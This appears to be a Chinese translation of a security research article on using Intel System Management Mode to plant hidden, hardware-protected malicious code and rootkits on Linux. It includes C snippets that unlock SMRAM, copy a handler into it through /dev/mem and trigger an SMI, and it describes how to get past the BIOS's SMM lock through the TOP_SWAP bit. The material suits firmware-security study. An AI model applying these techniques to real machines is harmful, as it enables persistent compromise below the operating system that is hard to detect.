|
SMM模式漏洞利用
一. 引言
本文将试图阐述一些Intel架构方面的知识,并向大家展示恶意用户如何利用架构实现上的脆弱点来创建一个完整的、硬件保护的恶意程序的过程。文章关注的焦点是系统管理模式(System Management Mode,SMM)方面的特征,我们假定读者具有了相关的知识背景。若需要补充相关的理论,可以参考Duflot的文章,《Using CPU System Management Mode to Circumvent Operating System Security Functions》。
值得注意的是,我们所做的一切都是处理器严格相关的,基于Linux操作系统,只有在Intel的处理器上才能正常工作。SMM模式下的恶意程序可以任意修改整个系统内存,可被用来修改内核数据结构,或者构建强大隐蔽的rootkit。
二. 系统管理模式(SMM)
摘自Intel用户手册:
“Intel的系统管理模式(SMM)通常被用来执行特定的强力管理例程。进入SMM后,多个系统部件可以被禁用或关闭,以减少电量消耗。SMM独立于其他系统软件使用,可用于多种其他目的。”
每次当我们读到“可用于多种其他目的”时,都会联想这其他目的到底是什么。不过有趣的是,在网络上能够找到的例子中,SMM的使用都是与系统电源相关,只字未提关于其他目的的事情。
2006年,Duflot发表了一篇文章,揭示了利用SMM绕过操作系统保护的相关技术。这是第一个使用SMM来达到恶意目的的例子,它给后来的利用提供了新的思路。目前我们已经攻克了如何在SMM中放置代码,如何在SMM中访问系统内存,以及如何进入SMM系统等问题,但还有一些问题尚待解决,比如建立颠覆SMM的稳定代码,操纵SMM寄存器以及在SMM中运行稳定的系统等。
2.1 Pentium模式的操作
大家对P6系列处理器的指令操作模式应该比较熟悉了,我们在此简单回顾一下。
实模式(Real-mode)是16位的寻址模式,现在的系统中只为启动过程所用,兼容以前旧式系统中的指令。保护模式(Protected mode)是32位的,是被现代操作系统用来提供程序保护的模式。虚拟8086(Virtual 8086)模式用来在运行程序时提供对旧式的处理器架构(如8086和8088)的更大的兼容性和效率。系统管理模式是新加入的一种模式,用来提供强大的管理功能。Intel处理器用户手册Volume 3中给出了处理器各个模式之间的转换关系。
Intel平台下的任意模式,使用SMI中断就可以转换到SMM;SMM通过使用rsm指令返回原来的模式,处理器读取保存的各个状态,恢复到进入SMM前的环境。
2.2SMM概览
首先,系统进入SMM模式之前,整个处理器上下文会被存储,以便离开时恢复。之后,处理器进入一个特殊的执行上下文,开始执行SMI处理程序。为了从SMM中返回,有一个特殊的指令RSM,只能在SMM模式中使用,读取先前保存的变量,回到刚才的环境。
另外,SMM模式中,内存分页机制被禁用,使用16位的指令模式。但是它可以寻址所有的物理内存,而且在使用I/O端口和内存上没有任何限制。这样我们就具有了Ring0权限,实际的SMM中,我们可以操纵整个系统内存。
Duflot的方法是使用自己编写的SMI处理程序,让处理器进入SMM模式,修改系统内存,绕过OpenBSD系统的安全防护,并执行自己的代码。
2.2.1SMRAM
SMM有一个专用的内存区域,叫做SMRAM。它的位置从SMBASE开始,到SMBASE+0x1FFFF,大小为0x20000字节。如果系统使用了扩展的SMRAM,这个范围可能会更大。
SMBASE的默认值是0x30000,但是现代的芯片组都提供了重定向,一般情况下它的地址为0xA0000。BIOS也将同样的地址映射到视频卡的I/O端口基地址。
内存控制中心(memory controller hub,MCH)中有一个控制寄存器,称为SMRAM控制寄存器,提供了一个bit(D_OPEN - bit 6),用来设置访问从SMBASE开始的重定向了的SMRAM的所有内存地址空间。
如果处理器不在SMM模式,并且D_OPEN没有被置位,所有对SMRAM内存空间的访问都会被转移到对视频卡的访问,否则,才访问SMRAM内存。这为SMRAM提供了保护,可以用来保护我们的恶意程序。
还有一个需要注意的是SMRAM控制寄存器的D_LCK位,位编号为4。当它被设置时,可以保护SMRAM控制寄存器和SMRAM内存。如果SMRAM控制寄存器锁定时D_OPEN位没有被置位,要改变SMRAM就只能重启了。这是我们目前面临的难题之一,现代大多数BIOS都有锁定它的功能。
进入SMM模式,处理器会跳转到物理地址为SMBASE+0x8000的地方,这就意味着SMI处理程序位于SMRAM中偏移为0x8000的位置。如果D_OPEN位已经置位,我们就可以在SMRAM中放置代码,迫使触发的SMI执行我们放置的程序。
2.2.2 SMI处理程序
假设我们设置了D_OPEN位,我们还需要避免对显示系统的使用,因为任何对视频系统I/O的访问都会被转移到SMRAM,而不是视频卡。
在我们的例子中,我们使用libpci来直接操纵寄存器,libpci的下载地址为ftp://ftp.kernel.org/pub/software/utils/pciutils/。它使用系统接口访问PCI配置,避免了竞争条件等问题,具有较好的可移植性,而且对多种操作系统都提供了支持。
为了插入我们的SMI处理句柄,我们需要完成三件事:确保D_LCK位没有置位;将D_OPEN位置位;访问0xA0000-0xBFFFF的内存空间。
为了访问地址空间,我们使用/dev/mem设备映射内存空间,它提供了访问物理内存地址的能力。
2.2.3触发SMI
SMI信号是硬件产生的中断,软件指令没有办法产生。芯片组会产生这个中断,而何时产生就要依赖于具体的芯片组类型。
SMI_EN寄存器的最低有效位是一个全局开关,表示SMI打开或关闭,然后,SMI_EN的其他位控制哪个设备可以产生SMI。SMI_STS寄存器则记录着上一次是哪个设备导致了SMI。
这些寄存器都可以用正规的PCI机制来访问,如in和out指令。虽然其位置都是变量,但它们均位于PMBASE的一个相对位移处,SMI_EN=PMBASE+0x30,SMI_STS=PMBASE+0x34。而PMBASE可以通过总线0,设备0x1F,函数0和偏移0x40来访问。有关PCI的部分将在后面讨论。
2.2.4利用
已有的利用是Duflot等人实现,基于OpenBSD系统的。我们将其稍作修改就可用于Linux,我们先来分析。他们的代码在有X窗口服务器运行的系统上会出现问题,因为所有对显示子系统的内存访问都转到了SMRAM。
Linux提供了一种在用户模式提升I/O特权级的方法,利用代码就使用了in/out指令。
if(iopl(3) < 0) {
// 要访问SMRAM, 首先置位D_OPEN
outl(data1, 0xcf8);
outl(data2, 0xcfc);
// 保存返回值
addr32 mov $test, %eax
mov %eax, %cs:0xfff0
// 访问SMI_EN寄存器
outl(0x0000000f, 0xb2);
……
上面代码里偏移0xfff0处的值,已保存在SMRAM的已存状态表中,是原来EIP的值。这样做是为了将函数的返回地址保存起来,以便在RSM指令时返回。现在将执行test()函数。后面,设置SMI_EN寄存器的bit 5,访问可编程I/O端口0xB2,就将产生一个SMI。
2.3以往技术的不足
Duflot的文章没有详细解释PCI配置工作的具体细节,也没有说明系统何时而且为什么产生SMI。其实使用SMM操作系统内存的思想还可以进一步扩展,我们用它来建立运行于SMM的恶意程序,或者跳过系统的各层保护。
本章的余下部分及后面的章节将详细说明SMM的工作原理,以及在SMM中的利用方法。我们还会演示将如何分析系统,以创建一个可移植的程序库来利用SMM相关的寄存器。
2.3.1PCI配置
对i386系列的PC,原始的PCI规约定义了两种机制,但是后来的规约否定了其中的一种。在此我建议大家看一下PCI硬件相关的书籍,Shanley Tom、Anderson和 Don的《PCI System Architecture》是个不错的选择。
最基本的,有两种I/O端口的选择范围:一种关联到地址端口(0xCF8-0xCFB),另一种关联到数据端口(0xCFC-0xCFF)。要配置一个设备,需要将访问的设备和寄存器写入到地址端口,然后再从数据端口中读取或写入数据。
写入到地址端口的数据格式如下表所示。若需要参考更多的PCI设备信息,可以访问PCI Database的网http://www.pcidatabase.com。
位编号 说明
0..1 00(总是0)
2..7 需要访问的地址空间
8..10 设备函数
11..15 设备号
PCI设备的地址被分解为三个部分,一个PCI总线编号,在这个总线中的设备编号(值为0-31)和一个在这个设备中的函数编号(值为0-7)
我们来举一个例子,要访问一个bus:device:function 的PCI地址空间中的寄存器REG,需要使用下面的地址。
0x80000000L | ((bus & 0xFF) << 16) |
((((unsigned)device) & 0x1F) << 11) |
((((unsigned)func) & 0x07) << 8) | (REG & 0xFC);
在每一个PCI设备的配置空间中,一般会有至少一个基地址寄存器(Base Address Register,BAR),可以在物理内存或I/O地址空间中寻址每一块卡设备所使用的具体资源。
2.3.2SMI产生的原因及时间
来自CPU的所有内存事务(内存读取/写入)都会放置到总线上,等待相关设备来处理。默认的,CPU会自己译码内存地址的范围,如本机APIC(Advanced Programmable Interrupt Controller,高级可编程中断控制器)的地址范围。内存事务在最终传送到外部总线之前,会满足相应设备需要的特定地址模式。
如果CPU不译码,则事务会被立即送出。在Intel的典型实现中,进一步的译码步骤由MCH(Memory Controller Hub)实现。如果该内存事务不是发给MCH的,则译码过程交给地址访问链中的下一个设备。
如果内存控制器在实际的DRAM中找不到匹配的地址,那么就在I/O地址的范围内寻找,如ISA,EISA和PCI等。在一些比较古老的系统中,内存控制器也可能自己直接译码PCI事务。
如果MCH判断当前内存事务不归它管,事务会传递给系统中的所有I/O设备桥接器。这个“拥有/响应”,或者逐级转发的译码过程将一直进行下去,直到系统中没有设备来处理为止。最终的输出结果就是要么某个设备宣布响应此事务,返回请求的地址的数据,或者根本没人响应,并终止事务,返回0xFFFFFFFFh的数据。
在特殊情况下,访问某些地址,比如位于0A0000h - 0BFFFFh范围内的,为多个设备所共享,如VGA帧缓存和系统内存,这时将产生SMI来处理这样的事务。如果SMI没有开启,则绕过内存控制器,将事务传递给VGA控制器;否则,内存控制器处理事务,将地址转到DRAM单元,从物理内存取得数据。
2.4 进入SMM内部
我们在本节说明SMM工作原理的一些重要细节,对理解后面的程序库有很大帮助。
2.4.1分析SMM寄存器
我们用libpci来分析SMM,下面的代码在ICH5和ICH3M控制器下可以正常工作。
#include <stdio.h>
#include <pci/pci.h>
#include <sys/io.h>
/* 定义相关的bit位置 */
#define D_OPEN_BIT (0x01 << 6)
#define D_CLS_BIT (0x01 << 5)
#define D_LCK_BIT (0x01 << 4)
#define G_SMRAME_BIT (0x01 << 3)
#define C_BASE_SEG2_BIT (0x01 << 2)
#define C_BASE_SEG1_BIT (0x01 << 1)
#define C_BASE_SEG0_BIT (0x01)
/* 打印SMRAM寄存器的函数 */
void show_smram(struct pci_dev* SMRAM)
{
u8 smram_value;
/* Provided by libpci */
smram_value = pci_read_byte(SMRAM, SMRAM_OFFSET);
if(smram_value & D_OPEN_BIT) {
printf("D_OPEN_BIT: 1\n");
} else {
printf("D_OPEN_BIT: 0\n");
}
if(smram_value & D_CLS_BIT) {
printf("D_CLS_BIT: 1\n");
} else {
printf("D_CLS_BIT: 0\n");
}
if(smram_value & D_LCK_BIT) {
printf("D_LCK_BIT: 1\n");
} else {
printf("D_LCK_BIT: 0\n");
}
if(smram_value & G_SMRAME_BIT) {
printf("G_SMRAME_BIT: 1\n");
} else {
printf("G_SMRAME_BIT: 0\n");
}
if(smram_value & C_BASE_SEG2_BIT) {
printf("C_BASE_SEG2_BIT: 1\n");
} else {
printf("C_BASE_SEG2_BIT: 0\n");
}
if(smram_value & C_BASE_SEG1_BIT) {
printf("C_BASE_SEG1_BIT: 1\n");
} else {
printf("C_BASE_SEG1_BIT: 0\n");
}
if(smram_value & C_BASE_SEG0_BIT) {
printf("C_BASE_SEG0_BIT: 1\n");
} else {
printf("C_BASE_SEG0_BIT: 0\n");
}
printf("\n");
}
int main(void) {
struct pci_access *pacc;
struct pci_dev *SMRAM;
/* 由libpci提供 */
pacc = pci_alloc();
pci_init(pacc);
SMRAM = pci_get_dev(pacc, 0, 0, 0, 0);
printf("Current status of SMRAM:\n");
show_smram(SMRAM);
printf("Setting D_OPEN to 1\n");
pci_write_byte(SMRAM, SMRAM_OFFSET, 0x4a);
show_smram(SMRAM);
printf("Locking SMRAM\n");
pci_write_byte(SMRAM, SMRAM_OFFSET, 0x1a);
show_smram(SMRAM);
printf("Trying to set D_OPEN to 0\n");
pci_write_byte(SMRAM, SMRAM_OFFSET, 0x0a);
show_smram(SMRAM);
return 0;
}
编译命令:
gcc -o brazil_smm1 brazil_smm1.c -lpci -lz
执行结果为:
rrbranco:~/Phrack# ./brazil_smm1
Current status of SMRAM:
D_OPEN_BIT: 0
D_CLS_BIT: 0
D_LCK_BIT: 0
G_SMRAME_BIT: 0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0
Setting D_OPEN to 1
D_OPEN_BIT: 1
D_CLS_BIT: 0
D_LCK_BIT: 0
G_SMRAME_BIT: 0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0
Locking SMRAM
D_OPEN_BIT: 1
D_CLS_BIT: 0
D_LCK_BIT: 1
G_SMRAME_BIT: 0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0
Trying to set D_OPEN to 0
D_OPEN_BIT: 1
D_CLS_BIT: 0
D_LCK_BIT: 1
G_SMRAME_BIT: 0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0
2.4.2 SMM的细节问题
处理器进入SMM模式时,它会产生一个输出信号——SMIACT#,通知芯片组,处理器处于SMM模式。
除了处理器处于SMM模式之外,SMI中断可以在任何时候触发,最终将导致SMI处理程序的执行。
当芯片组注意到SMIACT#信号之后,以后的内存访问都会重定向到受保护的SMRAM内存。随后,处理器在SMRAM对应的状态保存区存储内部状态,然后程序才开始执行。
那当前状态又是什么呢?处理器已处于“实模式”,最多达4GB的内存区段都可访问,包括读取或写入。如前所述,离开SMM时,程序使用RSM指令,处理器读取保存的状态,做一些检测,然后回到先前的状态。
SMM向状态保存区写入状态的过程和在栈上的行为一样,自顶部向起始位置扩展,而起始位置由SMBASE寄存器指出(允许重定向)。就算系统进入SMM模式之前是停机指令halt或I/O指令,只要在保存状态中设置一个标志位,程序执行完之后都可以继续先前的状态。
进入SMM模式,IDT寄存器指出的中断处理已经被禁止,包括异步非屏蔽中断(Non Maskable Interrupt,NMI)和INIT在内。因为旧的IDT值在SMM中已经无效,为了在SMM中使用中断,就必须设置自己的中断向量,并在IDT中载入自己设置的新值。
STI开中断指令之后,系统可以接收一部分中断,但是仍然会忽略异步中断。为了响应后者,需要用到IRET/IRETD指令。现在最大的问题是,在SMM处理程序中重新打开中断,如果在处理程序中收到NMI中断,中断将会闭锁(latched)(一种中断机制,此时不再响应其他中断)。所以只要hook了NMI的处理例程,就有机会跳过SMM恢复时的那步检测验证过程。前者会在RSM指令后,将EIP恢复到先前的状态执行。
在一些老式的pentium II/III机器上,适用于新硬件的SMM重定位会带来了不少麻烦。我们之所以倾向于使用这些老古董来做测试,是基于它的一个优点——BIOS不会锁定SMM。这些机器的CS固定指向0x30000,是SMM的默认位置,而现在机器的BIOS则将其设置为0xA0000。
如果我们在SMM中开启中断,当中断触发时,会在栈中保存CS:IP,以等将来返回。保存时使用的是固定的CS值0x30000,而不是SMBASE。如果SMBASE重定向过,代码返回时就会进入错误的地址。就此,Intel的文档中提到了一些关于旧式处理器(P4以前)的SMBASE对齐问题。
三. 将SMM用于其他目的
如前所所述,SMM可以用来修改内核的内部结构。但是我们还面临着一些挑战,可以将SMM下的恶意程序扩展到更多的用途。
3.1面临的挑战
3.1.1源自缓存的重写
当进入SMM后,如果发生一个#FLUSH信号,SMRAM可能会被缓存中的数据重写。为了避免这样,我们可以在非缓存的内存上做一个SMRAM的shadow,或者让#SMI同步的处理#FLUSH。大多数的BIOS将SMRAM的范围标识为非缓存的。
3.1.2SMM锁定
现今大多数的BIOS制造商都会锁定SMM,当你使用SMM插入一个保护机制时,你可以用一个开源的BIOS版本,如LinuxBIOS,替代系统的BIOS。但当我们谈及恶意代码时,这是不可能实现的,必需对BIOS打补丁。
本文只是关注于利用SMM本身,但是更健壮的利用方法是绕过BIOS的保护,这要使用TOP_SWAP位,在原始的BIOS代码执行之前就启动我们的代码,装入我们的SMM处理程序,并锁定它。这样可以避免原始的BIOS覆盖我们的SMM句柄。
基本来说,TOP_SWAP位用来定义系统是否使用第一个或第二个64K的空间来载入BIOS。这样,设置TOP_SWAP位,在第二个64K的空间放上自己的代码,并在代码中跳转回原始的BIOS程序。我们的代码就可以先于BIOS执行了。
TOP_SWAP位也为BIOS的安全升级提供了支持。设置该位,将原始的BIOS代码复制到第二个64K空间,升级更新就可以开始了。如果出现问题导致系统重启,那就会将原先备份在第二个64K空间的原始的BIOS载入执行,增加了系统可靠性。
3.1.3移植性
SMM是严格依赖于硬件的,更准确的说,它是依赖于ICH的。本文附带的代码在Linux环境下,ICH5和ICH3M下工作正常。因为它使用了libpci,在FreeBSD、NetBSD、OpenBSD、Solaris、Aix、GNU/Hurd和Windows等系统下面也可以正常工作。
为了支持ICH,使用者必须修改头文件libSMM.h,指定正确的总线,设备,函数和偏移的位置,并保证get_pmbase()函数返回的PMBASE值是正确的。除此之外,还要确定SMRAM_OFFSET值的正确性,这可以从i386的参考手册中找到。有了这些,就可以正确访问SMRAM控制寄存器中的数据了。
3.1.4地址转换
在我们的处理程序中作地址转换是比较困难的,我们必须从CPU保存的状态中读取CR3寄存器的值,再手动查找页表,完成到实际地址的转换。另外一种方法是将控制转回到进入SMM,触发SMI之前的环境,这样我们需要存储当前的SMM状态。当地址转换完成后再进入SMM。前者有点麻烦,后面这一种看起来也不是很好。
那我们能做的就只剩下,在调用我们自己的代码时,让调用尽量简单,尽量取得最大的运行权限。那我们就可以少在SMM上下文环境中停留,并且不用担心对系统进程造成太大的负面影响。
3.2 将代码拷贝至SMM空间
在这一节中,我们将代码拷贝至SMM空间,测试一下,并用描述符缓存(descriptor caches)来验证上文的说明。
3.2.1 测试
将代码放入SMM的第一步是打开SMRAM,设置D_OPEN位就可,用下面的函数。
pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_OPEN_BIT));
复制完之后关闭SMRAM,再用下面的函数。
pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value & ~D_OPEN_BIT));
同样,插入代码后,需要冻结对SMRAM的访问,防止别人修改SMM相关的寄存器。
pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_LCK_BIT));
为了在SMRAM中插入代码,我们首先映射到这里。
fd = open(MEMDEV, O_RDWR);
if(fd < 0) {
fprintf(stderr, "Opening %s failed, errno: %d\n", MEMDEV, errno);
return -1;
}
vidmem = mmap(NULL, MAPPEDAREASIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
fd, SMIINSTADDRESS);
if(vidmem == MAP_FAILED) {
fprintf(stderr, "Could not map memory area, errno: %d\n", errno);
return -1;
}
close(fd);
/* 将我们的代码拷贝至SMRAM内存 */
if(vidmem != memcpy(vidmem, handler, endhandler-handler)) {
fprintf(stderr, "Could not copy asm to memory...\n");
return -1;
}
if(munmap(vidmem, MAPPEDAREASIZE) < 0) {
fprintf(stderr, "Could not release mapped area, errno: %d\n", errno);
return -1;
}
有必要的话,可以将原来的SMRAM内容复制一份,并验证一下当前的拷贝后的SMRAM是否符合需要。可以使用dd指令,其中655360是0xa0000的十进制形式。
dd if=/dev/mem of=my_smram bs=1 skip=`expr 655360 - 1` count=64K
3.2.2 描述符缓存
我们不保证该方法在所有系统上都运行正确,毕竟Intel对描述符缓存的说明也相当模糊。
下面摘自Intel用户手册:“每一个段寄存器都有一个可见和隐藏部分,隐藏部分有时被认为是一个描述符缓存,或者影子寄存器。当段寄存器在可见部分中加载了段选择子之后,处理器也会随着由段选择子指出的包括基地址、段界限和访问控制信息在内的段描述符一起,加载段寄存器的隐藏部分。”
访问控制信息有下面几种:
- RPL -> 请求特权级
- CPL -> 当前特权级
- DPL -> 描述符特权级
在SMRAM的状态保存区中,根据Intel的用户手册,存储着描述符缓存和CR4寄存器的值,手册上说,后者是不可读取的,否则会发生“不可预料”的错误。我们发现了下面的数值:
TSS Descriptor Cache (12-bytes) - Offset: FFA7
IDT Descriptor Cache (12-bytes) - Offset: FF9B
GDT Descriptor Cache (12-bytes) - Offset: FF8F
LDT Descriptor Cache (12-bytes) - Offset: FF83
GS Descriptor Cache (12-bytes) - Offset: FF77
FS Descriptor Cache (12-bytes) - Offset: FF6B
DS Descriptor Cache (12-bytes) - Offset: FF5F
SS Descriptor Cache (12-bytes) - Offset: FF53
CS Descriptor Cache (12-bytes) - Offset: FF47
ES Descriptor Cache (12-bytes) - Offset: FF3B
状态存储区位于SMBASE + 0xFE00至SMBASE + 0xFFFF的空间中,将SS描述符的DPL字段从3修改为0,可以给我们的程序ring0的运行权限。
3.2.3 代码相关性
SMM可以重定向它的受保护的内存空间,存储在状态存储区中的SMBASE的值也有可能被修改。当RSM指令执行时,会读取这个值,下次进入SMM时SMRAM会位于新的SMBASE开始的地址空间。
在我们的SMM处理程序中,可以在状态存储区中修改这个值,其位于SMBASE起始0xFEF8处。我们可以将SMRAM重定向到自己选择的内存空间,防止别人以默认的地址转储SMRAM的内容。但是在修改时需要注意CS的调整变化。
四. SMM操纵程序库
本文附带的SMM操纵程序库提供了一组现成的函数,让大家可以用简单的方法来创建可移植的、操纵SMRAM控制寄存器的方法。程序库中提供了下面的一些方法:
u8 show_smram (struct pci_dev* smram_dev, u8 bits_to_show)
检测特定位是否被置位,参数pci_dev可选,不用时设为NULL
u16 get_pmbase (void)
由程序库内部控制SMI开启等函数使用,取得PMBASE
u16 get_smi_en_iop (void)
返回SMI_EN的位置
u16 get_smi_sts_iop (void)
返回SMI_STS的位置
int enable_smi_gbl (u16 smi_en_iop)
全局开启SMI
int disable_smi_gbl (u16 smi_en_iop)
全局禁用SMI
int enable_smi_on_apm (u16 smi_en_iop)
开启SMI或APM事件
int disable_smi_on_apm (u16 smi_en_iop)
禁用SMI或APM事件
int open_smram(void)
开启对SMRAM的访问 (设置D_OPEN位)
int close_smram(void)
关闭对SMRAM的访问 (清空D_OPEN位)
int lock_smram(void)
锁定对SMRAM的访问 (设置D_LCK位)
void write_to_apm_cnt(void)
写入到APM CNT (产生一个SMI)
头文件libSMM.h定义了SMM操纵时用到的定位相关寄存器和控制位的值,比如设备,函数,总线和偏移。其中有专门的宏定义语句,定义D_OPEN和D_LCK在SMRAM控制寄存器中的偏移等。
本文附带的libSMM_test.c文件说明了应该如何使用SMM操纵程序库。这个程序演示了基本的设置和清除影响SMM操纵的所有寄存器的操作。它可以用来测试程序库是否可以在你的硬件环境下正常工作。
evil.c文件也使用了该程序库,它在SMM处理例程中插入一个处理程序,来冻结处理器的执行过程。
五. 结束语
未来技术的发展不可预知,现代Rootkits变的越来越具有目的性。随着技术的发展,这些hack手段也将越来越多的为攻击者所利用。新平台的出现,BIOS功能的增强,例如可扩展固件接口(Extensible Firmware Interface)的产生,都将使得依赖于启动过程的利用变得更加容易。我们有理由相信,在不久的将来,Rootkits技术会由此进入全新的一页。 |
|